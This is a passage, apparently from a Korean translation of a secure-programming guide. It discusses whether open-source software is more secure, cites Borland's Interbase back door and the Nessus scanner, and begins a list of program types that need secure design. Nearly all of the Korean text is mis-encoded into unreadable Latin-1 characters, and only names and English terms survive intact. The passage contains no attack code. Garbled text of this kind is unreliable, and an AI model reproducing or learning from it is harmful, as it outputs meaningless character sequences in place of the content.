°­·ÂÇÏ°Ô ÁÖÀåÇÒ ¼ö ÀÖ´Â) »ç¿ëÀÚ¿¡°Ô ³Î¸® ¾Ë·ÁÁö°í ³ª¼­¾ß ȸ»çµéÀÌ Ãë¾à¼ºÀ» ¼öÁ¤ÇßÀ½À» °æÇèÀ» ÅëÇØ ¾Ë ¼ö ÀÖ´Ù. À̰ÍÀÌ ``¿ÏÀüÇÑ ¹ßÇ¥" Âù¼º·ÐÀÇ ¸ðµç Áß¿äÇÑ ¿ä¼ÒÀÌ´Ù. Gartner ±×·ìÀº ``Commentary: Hype is the real issue - Tech News" ¶ó´Â CNET.com ±â»ç¿¡ ¼ÖÁ÷ÇÑ ÁÖ¼®À» ´Þ¾Ò´Âµ¥ ´ÙÀ½°ú °°ÀÌ ¸»ÇÏ¿´´Ù:

¸¶ÀÌÅ©·Î¼ÒÇÁÆ®»çÀÇ ÄÄÇ»ÅÍ º¸¾È ´ëÀÀ ¼¾ÅÍ °ü¸®ÀÚ Scott Culp ÀÇ ÀǰßÀº Á¤º¸¿¡ ´ëÇØ ¿À·¡µÈ, ÁøÇàÁßÀÎ ÀüÀï¿¡¼­ÀÇ ÈçÇÑ Èķű¸¸¦ µÇÇ®ÀÌÇϰí ÀÖ´Ù. Á¤º¸ÀÇ ¹èÆ÷¿¡ °üÇÑ µµ´ö¼ºÀÇ ³íÀÇ´Â °ú°Å·Î °Å½½·Î ¿Ã¶ó°¡¼­ ¸Å¿ì Àß ¾Ë·ÁÁ® ÀÖ´Ù. ¸î ¼¼±âÀü¿¡ ¿¹¸¦ µé¾î ±³È¸´Â žçÀÌ Å¾ç°èÀÇ Áß½ÉÀ̶ó´Â ÄÚÆä¸£´ÏÄí½º¿Í °¥¸±·¹¿ÀÀÇ ÀÌ·ÐÀ» ¾ï´©¸£·Á°í ÇÏ¿´´Ù... ¸¶ÀÌÅ©·Î¼ÒÇÁÆ® Á¦Ç°³»ÀÇ ÃÖ±ÙÀÇ ¼ö¸¹Àº Ãë¾à¼ºÀ» ``Á¤º¸ º¸¾È Àü¹®°¡"ÀÇ Å¿À¸·Î µ¹¸®·Á´Â Culp ÀÇ ½Ãµµ´Â ¾Æ¹«·¡µµ ¼ÖÁ÷ÇÏÁö ¾Ê´Ù. ¾Æ¸¶µµ ÀÌ´Â ±×·¯ÇÑ Á¦Ç°À» ±¸ÃàÇß´ø ȸ»ç¿¡ ´ëÇÑ ºñ³­À» ºø³ª°¡°Ô ÇÏ·Á´Â ½Ãµµ¸¦ ³ªÅ¸³»°í ÀÖ´Ù... ¸ðµç °ü°èÀÚÀÇ ³ë·ÂÀÌ °è¼ÓÀûÀ¸·Î °³¼±ÀÌ ÁøÇàµÇ´Âµ¥ µµ¿òÀÌ µÈ´Ù. Ãë¾à¼ºÀÌ ´õ¿í ³Î¸® ¾Ë·ÁÁö¸é Áú¼ö·Ï ´õ¿í ºü¸£°Ô ¼öÁ¤µÉ °ÍÀÌ´Ù.

¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥¿¡´Â ÇϳªÀÇ È¸»ç¿¡ ÀÇÇØ Àû¿ëµÈ Á¦¾î°¡ ¾ø±â ¶§¹®¿¡ »ç¶÷µéÀÌ Æ®·ÎÀÌ ¸ñ¸¶ (Trojan Horses) ¹× ´Ù¸¥ ¾ÇÀÇÀÖ´Â Äڵ带 »ðÀÔÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù°í ¶§¶§·Î ³íÀÇµÇ¾î ¿Ô´Ù. Æ®·ÎÀÌ ¸ñ¸¶´Â ¿ÀÇ ¼Ò½º Äڵ忡 »ðÀ﵃ ¼ö ÀÖÀ¸¸ç ÀÌ´Â »ç½ÇÀÌ´Ù. ±×·¯³ª ÀÌ´Â ¼ÒÀ¯±ÇÀÌ ÀÖ´Â Äڵ峻¿¡µµ »ðÀ﵃ ¼ö ÀÖ´Ù. ºÒ¸¸À» ǰ°Å³ª ¸Å¼öµÈ °í¿ëÀÎÀÌ ¾ÇÀÇÀÖ´Â Äڵ带 »ðÀÔÇÒ ¼ö ÀÖÀ¸¸ç ¸¹Àº ȸ»ç¿¡¼­ ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥¿¡¼­ º¸´Ù ´ú ¹ß°ßµÉ °Í°°´Ù. °á±¹ Á¶Á÷ ¿ÜºÎÀÇ ´©±¸µµ Äڵ带 °ËÅäÇÒ ¼ö ¾ø°í Äڵ带 ³»ºÎÀûÀ¸·Î °ËÅäÇϴ ȸ»ç´Â °ÅÀÇ ¾ø´Ù (¶Ç´Â °ËÅäÇÑ´Ù ÇÏ´õ¶óµµ °ËÅäµÈ Äڵ尡 ½ÇÁ¦·Î »ç¿ëµÇ°í ÀÖ´Â ÄÚµåÀÓÀ» È®½ÅÇÒ ¼ö ÀÖ´Â »ç¶÷Àº °ÅÀÇ ¾ø´Ù). ºñ°ø°³ ¼Ò½º ȸ»ç°¡ ³ªÁß¿¡ °í¼Ò´çÇÒ °ÍÀ̶ó´Â »ý°¢Àº °ÅÀÇ Áõ¸íµÇÁö ¾Ê¾Ò´Ù ; °ÅÀÇ ¸ðµç ¶óÀ̼¾½º´Â ¸ðµç º¸ÁõÀ» ºÎÀÎÇÏ¸ç ¹ý¿øÀº ÀϹÝÀûÀ¸·Î ¼ÒÇÁÆ®¿þ¾î °³¹ß ȸ»ç°¡ ¹ýÀû Àǹ«°¡ ÀÖ´Ù°í ÆÇ°áÇÏÁö ¾Ê´Â´Ù.

º¼·£µå»ç (Borland) ÀÇ Interbase ¼­¹ö°¡ ÀÌ¿¡ ÇØ´çÇÏ´Â Àç¹ÌÀÖ´Â °æ¿ìÀε¥ 1992³â°ú 1994³â »çÀÌ¿¡ º¼·£µå»ç´Â ±×µéÀÇ µ¥ÀÌŸº£À̽º ¼­¹öÀÎ ``Interbase" ¿¡ ÀǵµÀûÀ¸·Î ``¹éµµ¾î (back door)" ¸¦ »ðÀÔÇߴµ¥ ÀÌ ¹éµµ¾î´Â ¸ðµç ·ÎÄà ¶Ç´Â ¿ø°Ý »ç¿ëÀÚ¿¡°Ô ¸ðµç µ¥ÀÌŸº£À̽º °´Ã¼ÀÇ Á¶ÀÛ ¹× ÀÓÀÇÀÇ ÇÁ·Î±×·¥µéÀ» ¼³Ä¡ÇÒ ¼ö ÀÖµµ·Ï ÇßÀ¸¸ç ¾î¶² °æ¿ì´Â ``·çÆ®" ±ÇÇÑÀ¸·Î¼­ ¸Ó½ÅÀ» Á¦¾îÇÒ ¼ö ÀÖ°Ô±îÁö ÇÏ¿´´Ù. ÀÌ Ãë¾à¼ºÀº Àû¾îµµ 6³â°£ Á¦Ç°¿¡ ±×´ë·Î ÀÖ¾ú´Âµ¥ ¾î´À ´©±¸µµ ÀÌ Á¦Ç°À» °ËÅäÇÒ ¼ö ¾ø¾úÀ¸¸ç º¼·£µå»ç´Â ÀÌ Ãë¾à¼ºÀ» Á¦°ÅÇÒ µ¿±â°¡ ¾ø¾ú´Ù. ±×¸®°í ³ª¼­ º¼·£µå»ç´Â 2000³â 7¿ù¿¡ ¼Ò½º Äڵ带 °ø°³ÇßÀ¸¸ç ``Firebird" ÇÁ·ÎÁ§Æ®°¡ ÀÌ ¼Ò½º Äڵ带 °®°í ÀÛ¾÷À» Çϱ⠽ÃÀÛÇØ 2000³â 12¿ù Interbase ¿Í °ü·ÃµÈ ½É°¢ÇÑ ÀÌ º¸¾È ¹®Á¦¸¦ Æø·ÎÇÏ¿´´Ù. 20001³â 1¿ù CERT ´Â CERT advisory CA-2001-01 ·Î ÀÌ ¹éµµ¾îÀÇ Á¸À縦 °øÇ¥ÇÏ¿´´Ù. ¸ÆºüÁö´Â °ÍÀº ¹Ù·Î ¹éµµ¾î°¡ ´Ü¼øÈ÷ ÇÁ·Î±×·¥ÀÇ ¾Æ½ºÅ° ´ýÇÁ (ASCII dump, ÀϹÝÀûÀÎ Å©·¡Ä¿ÀÇ ¼ö¹ý) ¸¦ °Ë»çÇÔÀ¸·Î½á ½±°Ô ¹ß°ßµÉ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ÀÌ ¹®Á¦°¡ ¿ÀÇ ¼Ò½º °³¹ßÀÚ°¡ Äڵ带 °ËÅäÇÏ´Â µ¿¾È ¹ß°ßµÇ¾ú´Ù¸é ºü¸£°Ô ÆÐÄ¡µÇ¾úÀ» °ÍÀÌ´Ù. ¹°·Ð ÆÐ½º¿öµå¸¦ ¾Ë·ÁÁöÁö ¾Ê°Ô º¸°üÇÔÀ¸·Î½á ÇÁ·Î±×·¥Àº ¾ÈÀüÇÑ »óÅ·ΠÀÖ¾ú°í ¼Ò½º ¿ÀÇÂÀÌ ÇÁ·Î±×·¥À» ´ú º¸¾ÈÀûÀ¸·Î ¸¸µé¾ú´Ù°í ÁÖÀåÇÒ ¼öµµ ÀÖ´Ù. ÀúÀÚ´Â À̸¦ Å͹«´Ï ¾ø´Â ÁÖÀåÀ̶ó°í »ý°¢ÇÑ´Ù. ¿Ö³ÄÇÏ¸é ¾Æ½ºÅ° ´ýÇÁ´Â ´ë¼ö·ÓÁö ¾ÊÀº ÀÏÀ̰í Ç¥ÁØ °ø°Ý ±â¹ýÀ¸·Î Àß ¾Ë·ÁÁø °ÍÀ̱⠶§¹®¿¡ ¸ðµç °ø°ÝÀÚ°¡ Ãë¾à¼ºÀ» °øÇ¥ÇÒ¸¸Å­ °©ÀÛ½º·± Ãæµ¿À» °¡ÁöÁö´Â ¾Ê¾ÒÀ» °ÍÀÌ´Ù - »ç½Ç ÀÌ Ãë¾à¼ºÀÌ ¸¹ÀÌ ¾Ç¿ëµÇÁö ¾Ê¾ÒÀ½À» È®½ÅÇÒ ¾î¶°ÇÑ ¹æ¹ýµµ ¾ø´Ù. ¼Ò½º°¡ ¿ÀÇÂµÈ ÈÄ ¼Ò½º ÄÚµå´Â ¿©·¯¹ø °ËÅäµÇ¾úÀ¸¸ç Ãë¾à¼ºÀÌ ¹ß°ßµÇ¾î ¼öÁ¤µÇ¾úÀ½Àº ¸í¹éÇÏ´Ù. À̸¦ Ư¡Áþ´Â ÇѰ¡Áö ¹æ½ÄÀº ¿ø·¡ ÄÚµå´Â Ãë¾àÇß°í óÀ½ ¼Ò½º°¡ ¿ÀÇ嵃 ¶§ ÀÌ Ãë¾à¼ºÀ» ¾Ç¿ëÇÏ´Â °ÍÀº ´õ¿í ½¬¿üÁö¸¸ °á±¹ ÀÌ·¯ÇÑ Ãë¾à¼ºÀº ¼öÁ¤µÇ¾ú´Ù°í ¸»ÇÏ´Â °ÍÀÌ´Ù.

¼Ò½º Äڵ带 ¿ÀÇÂÇßÀ» ¶§ÀÇ ÀåÁ¡Àº °ø°ÝµÇ¾îÁö´Â ¼ÒÇÁÆ®¿þ¾î »Ó¸¸¾Æ´Ï¶ó Ãë¾à¼º Æò°¡ ½ºÄ³³Ê¿¡µµ È®ÀåµÈ´Ù. Ãë¾à¼º Æò°¡ ½ºÄ³³Ê´Â ¼³Á¤µÈ ½Ã½ºÅÛ¿¡¼­ ÀǵµÀûÀ¸·Î Ãë¾à¼ºÀ» ã¾Æ³½´Ù. ÃÖ±ÙÀÇ Network Computing ÀÇ Æò°¡´Â °¡Àå ¿ì¼öÇÑ ½ºÄ³³Ê (´Ù¸¥ ¹«¾ùº¸´Ù °¡Àå ±ÔÄ¢¿¡ ¸Â´Â Ãë¾à¼ºÀ» ¹ß°ßÇß´Ù) ´Â ¿ÀÇ ¼Ò½º ½ºÄ³³Ê ÀÎ Nessus ÀÓÀ» ¾Ë¾Æ³Â´Ù [Forristal 2001].

±×·¡¼­ ÃÖÁ¾ °á°ú´Â ¹«¾ùÀΰ¡? ÀúÀÚ´Â °³ÀÎÀûÀ¸·Î ÇÁ·Î±×·¥ÀÇ ¼Ò½º°¡ óÀ½ ¿ÀÇ嵃 ¶§ Á¾Á¾ Ãë¾à¼ºÀÌ ³ëÃâµÇ¾î ¸ðµç »ç¿ëÀÚ¿¡ ´ëÇØ ´ú º¸¾ÈÀûÀ¸·Î ½ÃÀÛÇÏÁö¸¸ ½Ã°£ÀÌ Áö³­ÈÄ (°¡·É ¸î³âÈÄ) ¿¡´Â ºñ°ø°³ ÇÁ·Î±×·¥º¸´Ù ´õ¿í º¸¾ÈÀûÀ¸·Î µÉ °¡´É¼ºÀ» °®´Â´Ù°í ¹Ï°í ÀÖ´Ù. ´ÜÁö ÇÁ·Î±×·¥ÀÇ ¼Ò½º¸¦ ¿ÀÇÂÇÏ´Â °ÍÀÌ °©ÀÚ±â ÇÁ·Î±×·¥À» º¸¾ÈÀûÀ¸·Î ¸¸µå´Â °ÍÀº ¾Æ´Ï¸ç ¿ÀÇ ¼Ò½º ÇÁ·Î±×·¥À» º¸¾ÈÀûÀ¸·Î ¸¸µç´Â °ÍÀº º¸ÁõµÇÁö ¾Ê´Â´Ù:

  • ù¹øÂ° »ç¶÷µéÀº Á¤¸»·Î Äڵ带 °ËÅäÇØ¾ß ÇÑ´Ù. ÀÌ´Â ³íÀǵǴ ÁÖ¿ä ¿äÁ¡Áß ÇϳªÀÌ´Ù - »ç¶÷µéÀÌ Á¤¸»·Î ¿ÀÇ ¼Ò½º ÇÁ·ÎÁ§Æ®¿¡¼­ Äڵ带 °ËÅäÇÒ °ÍÀΰ¡? ¸ðµç Á¾·ùÀÇ ¿äÀεéÀÌ °ËÅä·®À» ÁÙÀÏ ¼ö ÀÖ´Ù: Ư¼öÇÑ ¿ëµµ¿¡ ¸Â´Â Á¦Ç°Àΰ¡ (niche) ¶Ç´Â °ÅÀÇ »ç¿ëµÇÁö ¾Ê´Â Á¦Ç°Àΰ¡ (¹°·Ð ÀÌ Á¦Ç°ÀÌ °ËÅäµÉ °¡´É¼ºÀº °ÅÀÇ ¾ø´Ù), °³¹ßÀÚ°¡ ÀûÀº°¡, ±×¸®°í °ÅÀÇ »ç¿ëµÇÁö ¾Ê´Â ÄÄÇ»ÅÍ ¾ð¾î¸¦ »ç¿ëÇϴ°¡. ºÐ¸íÈ÷ ÇÑ»ç¶÷ÀÌ °³¹ßÇÏ¸ç ´Ù¸¥ ¾î¶² ±â¿©ÀÚµµ ¾ø´Â ÇÁ·Î±×·¥Àº ÀÌ·¯ÇÑ Á¾·ùÀÇ °ËÅ並 ¹ÞÁö ¸øÇÑ´Ù. ÇÑÆí ÁÖ¿ä ÀúÀÚ¿Í °¡²û Äڵ带 Á¶»çÇÏ°í ±â¿©ÇÏ´Â ¸¹Àº ´Ù¸¥ »ç¶÷ÀÌ ÀÖ´Â ÇÁ·Î±×·¥Àº Äڵ带 °ËÅäÇÏ´Â (ÃÖ¼ÒÇÑ ±â¿©¸¦ ÇÏ´Â) ´Ù¸¥ »ç¶÷µéÀÌ ÀÖ´Ù°í ³ÍÁö½Ã ¸»ÇÑ´Ù. ÀϹÝÀûÀ¸·Î ´õ¿í ¸¹Àº °ËÅäÀÚ°¡ ÀÖ´Â °æ¿ì ´©±º°¡ °áÇÔÀ» ½Äº°ÇÒ °¡´É¼ºÀÌ ÀϹÝÀûÀ¸·Î ´õ¿í ³ô´Ù - À̰ÍÀÌ ``many eyeballs" (¸¹Àº °ËÅäÀÚ) ÀÌ·ÐÀÇ ±âÃÊÀÌ´Ù.

    ƯÈ÷ °ËÅä °¡´É¼ºÀ» ÁÙÀÏ ¼ö ÀÖ´Â ÇѰ¡Áö ¿äÀÎÀº ½ÇÁ¦·Î ¿ÀÇ ¼Ò½º·Î ÇÏÁö ¾Ê´Â °ÍÀÌ´Ù. ¾î¶² º¥´õµéÀº ¹ßÇ¥ÇÑ ¼Ò½º (disclosed source, ¶ÇÇÑ ¼Ò½º¸¦ ¾òÀ» ¼ö ÀÖ´Â source available) ÇÁ·Î±×·¥µéÀ» ¿ÀÇ ¼Ò½º¶ó°í Ƽ¸¦ ³»°í ½Í¾îÇÏÁö¸¸ ÇÁ·Î±×·¥ ¼ÒÀ¯ÀÚ°¡ »ó´çÈ÷ µ¶Á¡ÀûÀÎ ±ÇÇÑÀ» °®±â ¶§¹®¿¡ ´Ù¸¥ »ç¶÷µéÀÌ ÄÚµå ¼ÒÀ¯ÀÚ¸¦ À§ÇØ ¹«·á·Î ÀÛ¾÷ÇÒ ¸¶À½À» ´õ¿í °®Áö´Â ¾ÊÀ» °ÍÀÌ´Ù. º°³ª°Ô MPL °ú °°Àº ºñ´ëĪ ±ÇÇÑÀ» °®´Â ¿ÀÇ ¼Ò½º ¶óÀ̼¾½ºµµ ÀÌ ¹®Á¦¸¦ °®°í ÀÖ´Ù. °á±¹ »ç¶÷µéÀº ´Ù¸¥ ¾î¶² »ç¶÷ÀÌ ÀڽŵéÀÇ °á°ú¿¡ ´ëÇØ ÀÚ½ÅÀº °®°í ÀÖÁö ¾ÊÀº ±ÇÇÑÀ» °®´Â´Ù¸é ÀÚ¹ßÀûÀ¸·Î Âü¿©ÇÒ °Í °°Áö´Â ¾Ê´Ù (Bruce Perens ´Â ``´©°¡ ´Ù¸¥ ´©±º°¡ÀÇ ¹«º¸¼ö °í¿ëÀÎÀÌ µÇ±æ ¿øÇϴ°¡?" ¶ó°í ¸»Çϰí ÀÖ´Ù). ƯÈ÷ µ¿±â¸¦ °®°í ÀÖ´Â ´ëºÎºÐÀÇ °ËÅäÀÚµéÀº ÇÁ·Î±×·¥À» ¼öÁ¤ÇÏ·Á°í ÇÏ´Â »ç¶÷ÀÎ °æ¿ì°¡ ¸¹±â ¶§¹®¿¡ ÀÌ·¯ÇÑ Âü¿©ÇÏ·Á´Â ÀÇ¿åÀ» ¹æÇØÇÏ´Â °ÍÀº °ËÅäÀÚµéÀÇ ¼ö¸¦ ÀúÇϽÃŲ´Ù. Elias Levy ´Â ¿ÀÇ ¼Ò½º º¸¾È¿¡ ´ëÇÑ ±×ÀÇ ±â»ç¿¡¼­ ÀÌ ¿ÀÇØ¸¦ ÇÏ¿´´Ù; ±×°¡ ¿¹¸¦ µé¾ú´ø ÆÄ±«µÈ ¼ÒÇÁÆ®¿þ¾î (¿¹, TIS ÀÇ Gauntlet) ´Â ±× ´ç½Ã ¿ÀÇ ¼Ò½º°¡ ¾Æ´Ï¾ú´Ù.

  • µÎ¹øÂ° Äڵ带 °³¹ß ¹× °ËÅäÇÏ·Á´Â »ç¶÷µéÀº º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ ÀÛ¼º ¹æ¹ýÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. ¹Ù¶ó°Ç´ë ÀÌ Ã¥ÀÌ µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ºÐ¸íÈ÷ ¸¹Àº °ËÅäÀÚ°¡ ÀÖ´õ¶óµµ ¾Æ¹«µµ ãÁö ¸øÇÑ´Ù¸é °ËÅäÀÚÀÇ ¼ö´Â Áß¿äÇÏÁö ¾Ê´Ù. »ç¶÷µéÀÌ ÄÚµå º¯°æÀÇ Á¶»ç ¹æ¹ýÀ» ¾È´Ù¸é ¸ðµç »ç¶÷ÀÌ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ ÀÛ¼º ¹æ¹ýÀ» ¾Ë ÇÊ¿ä´Â ¾øÀ½À» ÁÖ¸ñÇØ¶ó.

  • ¼¼¹øÂ° ÀÏ´Ü ¹ß°ßµÈ´Ù¸é ÀÌ·¯ÇÑ ¹®Á¦Á¡µéÀº ºü¸£°Ô ¼öÁ¤µÇ¾î ¹èÆ÷µÉ Çʿ䰡 ÀÖ´Ù. ¿ÀÇ ¼Ò½º ½Ã½ºÅÛÀº ¹®Á¦Á¡µéÀ» ºü¸£°Ô ¼öÁ¤ÇÏ´Â °æÇâÀÌ ÀÖÁö¸¸ ¹èÆ÷°¡ ´Ã ¼øÁ¶·Î¿î °ÍÀº ¾Æ´Ï´Ù. ¿¹¸¦ µé¾î OpenBSD °³¹ßÀÚµéÀº º¸¾È °áÇÔ¿¡ ´ëÇØ ¸Å¿ì ¿ì¼öÇÑ °ËÅ並 ÇÏÁö¸¸ È®ÀÎµÈ ¹®Á¦Á¡µéÀ» ¿ø·¡ °³¹ßÀÚ¿¡°Ô ´Ã ¾Ë·ÁÁÖÁö´Â ¾Ê´Â´Ù. µû¶ó¼­ ÇÑ ½Ã½ºÅÛ¿¡´Â ¼öÁ¤ ¹öÀüÀÌ ÀÖÁö¸¸ ´Ù¸¥ ½Ã½ºÅÛ¿¡´Â °áÇÔÀÌ ³²¾ÆÀÖ´Â °Íµµ °¡´ÉÇÏ´Ù.

¿ÀÇ ¼Ò½ºÀÇ ´Ù¸¥ ÀåÁ¡Àº ¹®Á¦Á¡À» ¹ß°ßÇÏ´Â °æ¿ì Áï½Ã À̸¦ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.

¿ä¾àÇÏ¸é ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾î°¡ º¸¾È¿¡ ¹ÌÄ¡´Â ¿µÇâÀº ¸¹Àº Ź¿ùÇÑ Àü¹®°¡µéÀÌ ´õ¿í º¸¾ÈÀûÀÌ µÉ °¡´É¼ºÀÌ ÀÖ´Ù°í ¹Ï°í ÀÖÀ½¿¡µµ ºÒ±¸ÇÏ°í º¸¾È °øµ¿Ã¼¿¡¼­ ¾ÆÁ÷µµ ÁÖµÈ ³íÀÇ ´ë»óÀ̶ó´Â °ÍÀÌ´Ù.


2.5. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ŸÀÔ

¸¹Àº ¿©·¯°¡Áö ŸÀÔÀÇ ÇÁ·Î±×·¥µéÀÌ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ (ÀÌ Ã¥¿¡ Á¤ÀÇµÈ ¹Ù¿Í °°ÀÌ) ÀÏ Çʿ䰡 ÀÖÀ» ¼ö Àִµ¥ ¾à°£ÀÇ °øÅëµÈ ŸÀÔÀº ´ÙÀ½°ú °°´Ù:

  • ¿ø°Ý µ¥ÀÌŸ ºä¾î·Î »ç¿ëµÇ´Â ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥. ¿öµå ÇÁ·Î¼¼¼­ ¶Ç´Â ÆÄÀÏ Æ÷¸Ë ºä¾î¿Í °°Àº ºä¾î·Î »ç¿ëµÇ´Â ÇÁ·Î±×·¥µéÀº ´ë°³ ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ°¡ ¿ø°ÝÀûÀ¸·Î º¸³»¿Â µ¥ÀÌŸ¸¦ º¸±â À§ÇØ ¿äûµÈ´Ù (ÀÌ ¿äûÀº À¥ ºê¶ó¿ìÀú¿¡ ÀÇÇØ ÀÚµ¿ÀûÀ¸·Î È£ÃâµÉ ¼öµµ ÀÖ´Ù). ºÐ¸íÈ÷ ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚÀÇ ÀÔ·ÂÀº ¾ÖÇø®ÄÉÀ̼ǿ¡°Ô ÀÓÀÇÀÇ ÇÁ·Î±×·¥À» ½ÇÇà½Ã۵µ·Ï Çã¿ëÇØ¼­´Â ¾ÈµÈ´Ù. º¸Åë ÃʱâÈ­ ¸ÅÅ©·Î¸¦ Áö¿øÇÏ´Â °ÍÀº ¾î¸®¼®Àºµ¥ (¸ÅÅ©·Î´Â µ¥ÀÌŸ°¡ Ç¥½ÃµÉ ¶§ ½ÇÇàµÈ´Ù) À̸¦ Áö¿øÇØ¾ß ÇÑ´Ù¸é º¸¾ÈÀûÀÎ sandbox ¸¦ ¸¸µé¾î¾ß ÇÑ´Ù (º¹ÀâÇÏ°í ¿¡·¯¸¦ ÀÏÀ¸Å°±â ½¬¿î ŽºÅ©). 5장 ¿¡¼­ ³íÀǵǴ ¹öÆÛ ¿À¹ö Ç÷οì¿Í °°Àº ¹®Á¦µéÀ» Á¶½ÉÇØ¶ó ÀÌ´Â ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚ¿¡°Ô ºä¾î·Î ÀÓÀÇÀÇ ÇÁ·Î±×·¥À» ½ÇÇà½Ã۵µ·Ï Çã¿ëÇÒ ¼öµµ ÀÖ´Ù.

  • °ü¸®ÀÚ (·çÆ®) °¡ »ç¿ëÇÏ´Â ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥. ±×·¯ÇÑ ÇÁ·Î±×·¥µéÀº °ü¸®ÀÚ°¡ ¾Æ´Ñ »ç¶÷¿¡ ÀÇÇØ Á¦¾îµÉ ¼ö ÀÖ´Â Á¤º¸¸¦ ½Å·ÚÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù.

  • ·ÎÄà ¼­¹ö (¶ÇÇÑ µ¥¸óÀ̶ó°íµµ ºÎ¸¥´Ù).

  • ³×Æ®¿öÅ©¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¼­¹ö (¶§¶§·Î ³×Æ®¿öÅ© µ¥¸óÀ̶ó°íµµ ºÎ¸¥´Ù).

  • CGI ½ºÅ©¸³Æ®¸¦ Æ÷ÇÔÇÑ À¥ ±â¹Ý ¾ÖÇø®ÄÉÀ̼Ç. À̵éÀº ³×Æ®¿öÅ©¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¼­¹öÀÇ Æ¯º°ÇÑ °æ¿ìÁö¸¸ ±×µé¸¸ÀÇ ¹üÁÖ¸¦ °¡Áú¸¸ÇÒ¸¸Å­ º¸ÆíÀûÀÌ´Ù. ±×·¯ÇÑ ÇÁ·Î±×·¥µéÀº À¥ ¼­¹ö¸¦ ÅëÇØ °£Á¢ÀûÀ¸·Î È£ÃâµÇ´Âµ¥ ¸¹Àº °ø°ÝÀ» °É·¯³»¾î Á¦°ÅÇÏÁö¸¸ ±×·³¿¡µµ ºÒ±¸ÇÏ°í °ßµ®¾ß ÇÏ´Â ¸¹Àº °ø°ÝµéÀ» ³²±ä´Ù.

  • ¾ÖÇø´ (Ŭ¶óÀÌ¾ðÆ®·Î ´Ù¿î·ÎµåµÇ¾î ÀÚµ¿ÀûÀ¸·Î ½ÇÇàµÇ´Â ÇÁ·Î±×·¥). ÀÌ´Â ÆÄÀ̽ã°ú °°Àº ´Ù¸¥ ¾ð¾îµéµµ ¶ÇÇÑ ¸ð¹ÙÀÏ Äڵ带 Áö¿øÇÏÁö¸¸ ƯÈ÷ ÀÚ¹Ù°¡ À¯¸íÇÏ´Ù. ¸î¸î º¸¾È °üÁ¡ÀÌ Àִµ¥ Ŭ¶óÀ̾ðÆ®Ãø¿¡¼­ ¾ÖÇø´ ÀÎÇÁ¶ó (infrastructure) ¸¦ ±¸ÇöÇÏ´Â »ç¶÷Àº ¹Ýµå½Ã ´ÜÁö Çã¿ëµÈ ±â´Éµé¸¸À» ``º¸¾ÈÀûÀÎ" °ÍÀ¸·Î ÇØ¾ßÇÏ¸ç ¾ÖÇø´ ÀÛ¼ºÀÚ´Â ÀûÀÇÀִ ȣ½ºÆ®µéÀÇ ¹®Á¦¸¦ ´Ù·ï¾ß ÇÑ´Ù (´Ù¸¥ ¸»·Î º¸Åë Ŭ¶óÀÌ¾ðÆ®¸¦ ¹ÏÀ» ¼ö ¾ø´Ù). ÀûÀÇÀִ ȣ½ºÆ®¿¡¼­ ¾ÖÇø´À» ½ÇÇà½ÃŰ´Â °ÍÀ» ´Ù·ç·Á´Â ¾à°£ÀÇ ¿¬±¸°¡ ÀÖÁö¸¸ ¼ÖÁ÷È÷ ÀúÀÚ´Â ÀÌµé ¿¬±¸ ¹æ¹ýÀÇ °¡Ä¡¿¡ ´ëÇØ ȸÀÇÀûÀ̸ç ÀÌ ÁÖÁ¦´Â ÀúÀÚ°¡ ÀÌ Ã¥¿¡¼­ ´õ¿í ±í°Ô ´Ù·çÁö ¾ÊÀ» ¸¸Å­ ÀÌ»öÀûÀÌ´Ù.

  • setuid/setgid ÇÁ·Î±×·¥. ÀÌ ÇÁ·Î±×·¥Àº ·ÎÄà »ç¿ëÀÚ¿¡ ÀÇÇØ È£ÃâµÇ¾î ½ÇÇàµÉ ¶§ Áï½Ã ÇÁ·Î±×·¥ ¼ÒÀ¯ÀÚ ¹×/¶Ç´Â ¼ÒÀ¯ÀÚ ±×·ìÀÇ ±ÇÇÑÀÌ ÁÖ¾îÁø´Ù. ¸¹Àº ¹æ½Ä¿¡ ÀÖ¾î À̵éÀº ¾ÈÀüÇÏ°Ô Çϱ⠰¡Àå ¾î·Á¿î ÇÁ·Î±×·¥À¸·Î ÀÌ´Â ±×µéÀÇ ÀÔ·Â Áß ¸¹Àº ºÎºÐÀÌ ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀÚÀÇ Á¦¾îÇÏ¿¡ ÀÖ°í ¶ÇÇÑ ±×·¯ÇÑ ÀÔ·Â Áß ÀϺδ ¸í¹éÇÏÁö ¾Ê±â ¶§¹®ÀÌ´Ù.

ÀÌ Ã¥Àº ÀÌ·¯ÇÑ ¿©·¯°¡Áö ŸÀÔÀÇ ÇÁ·Î±×·¥µéÀÇ ¹®Á¦µéÀ» ÇϳªÀÇ ÁýÇÕÀ¸·Î º´ÇÕÇÑ´Ù. ÀÌ ¹æ¹ýÀÇ ´ÜÁ¡Àº ¿©±â¼­ È®ÀÎµÈ ¹®Á¦µéÁß ÀϺΰ¡ ¸ðµç ÇÁ·Î±×·¥ ŸÀÔ¿¡ Àû¿ëµÇÁö ¾Ê´Â´Ù´Â °ÍÀε¥ ƯÈ÷, setuid/setgid ÇÁ·Î±×·¥Àº ¸¹Àº ¿¹±âÄ¡ ¾ÊÀº ÀԷµéÀ» °®À¸¸ç ÀÌ Ã¥ÀÇ ÁöħµéÁß ¸î¸î¸¸ÀÌ ÀÌ¿¡ Àû¿ëµÈ´Ù. ±×·¯³ª °¢°¢ÀÇ ÇÁ·Î±×·¥ÀÌ 